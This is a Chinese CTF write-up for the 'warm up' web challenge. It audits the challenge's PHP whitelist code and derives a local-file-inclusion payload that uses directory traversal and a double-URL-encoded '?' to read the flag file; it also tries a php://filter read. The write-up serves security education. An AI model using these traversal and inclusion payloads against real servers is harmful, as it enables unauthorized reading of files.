进来一个贴吧滑稽,F12 发现source.php,又是脑壳疼的PHP代码审计

注意hint.php,访问,提示flag不在,在ffffllllaaaagggg中,尝试下常用payload

index.php?file=../../../../../../ffffllllaaaagggg.phpindex.php?file=php://filter/read=convert.base64-encode/resource=index.php 

似乎不行,老老实实审计代码,代码有点繁琐但挺好理解,根据最后一段,满足三个条件即可文件包含

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page) //传入了变量page,也就是传进来的file{// 定义白名单$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {/*为了返回 true 两个条件必须知足1 page存在 2 page是字符串 ,这里和外层的判断file 一致基本是再次判断了一遍*/echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,白名单过滤,须要返回了ture因此这里咱们传入的page或者是通过截断以后的page必须是soure.php或hint.php,这里是正常的访问,咱们须要构造文件任意包含,因此这里传入的不知足条件,这里不是注意的点,往下继续看*/$_page = mb_substr( $page,0,mb_strpos($page . '?',  '?'));/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,因此基本能够理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/            if (in_array($_page, $whitelist)) { return true;}//这里和上面相似 查看_page 是否在白名单中$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,$_page = mb_substr(//获取两个??之间的内容$_page,0,mb_strpos($_page . '?', '?'));// 这里是咱们要绕过的点,从这里往上看 尝试构造if (in_array($_page, $whitelist)) {//白名单return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}/*必须知足if条件,才能包含file,这里也能够猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/
?>

第一个if语句对变量进行检验,要求$page存在且为为字符,不然返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句能够返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,因为?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,所以咱们能够将?通过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可经过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
因此咱们的payload 就是  file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

mb_substr() 函数返回字符串的一部分

攻防世界web_warm up相关推荐

  1. 【攻防世界001】Guess-the-Number

    攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...

  2. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  3. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  5. 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk

    [攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...

  6. 攻防世界 ——crypto

    目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...

  7. 攻防世界———MISC 高手区题解

    目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...

  8. 攻防世界 web(二)

    这周接着刷攻防世界的web题( ̄︶ ̄)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...

  9. misc高阶 攻防世界_攻防世界 Misc 进阶题(一)

    攻防世界 Misc 进阶题(一) 关于隐写术的思路或方法 转载: https://blog.csdn.net/a_small_rabbit/article/details/79644078     隐 ...

最新文章

  1. python输出中文加数字_python处理“#”开头加数字的html字符方法
  2. 盘点六大在中国复制失败的O2O案例
  3. SQLite数据库损坏与修复
  4. Spring Boot-使用Spring Initializer快速创建Spring Boot项目
  5. JavaSE——异常处理(异常简介、try-catch-finally、throws、throw)
  6. C# 声明方法的语法
  7. 12GB超大内存!华为超级旗舰手机悄悄现身
  8. srsLTE源码学习:S1接口抓包s1ap_pcap.h,s1ap_pcap.cc
  9. 新增国内mysql下载镜像
  10. msys2 预编译的包 查询和下载
  11. 怎么自学plc和自动化技术?
  12. php 分布式事务 DTM (TCC模式和Saga模式的区别)
  13. STM32控制启动步进电机
  14. MyBatis映射文件如何给数据库的int类型字段“插入”string类型记录
  15. 驾考一点通维语版_驾考宝典维语版下载_驾考宝典维语版手机版下载_驾考宝典维语版安卓版下载-木蚂蚁...
  16. Post-doc positions 新年的一波优质职位
  17. 万象管理系统需要服务器吗,万象网吧管理系统在使用中常见的几个问题
  18. IPCamera监控软件如何支持joystick遥控手柄控制云台
  19. windows 密码破解法
  20. 【小5聊】微信公众平台用户信息相关接口调整,不再返回性别和地区信息(2021.10.21)

热门文章

  1. HandlerThread案例学习
  2. java vue ivew
  3. 2023百强县名单出炉!千亿县达54个
  4. 随机森林,随机森林中进行特征重要性
  5. 第四单元 用python学习微积分(二十六)积分-部分分式-掩盖法及它的组合应用
  6. 调用SuspendThread函数需要注意的问题
  7. jboss运行java项目_jboss启动web项目报错?初学者
  8. 第一章 安装Ogre 3D引擎
  9. 计算机中异或操作计算什么意思,异或操作
  10. php soapclient出错,PHP7 SoapClient问题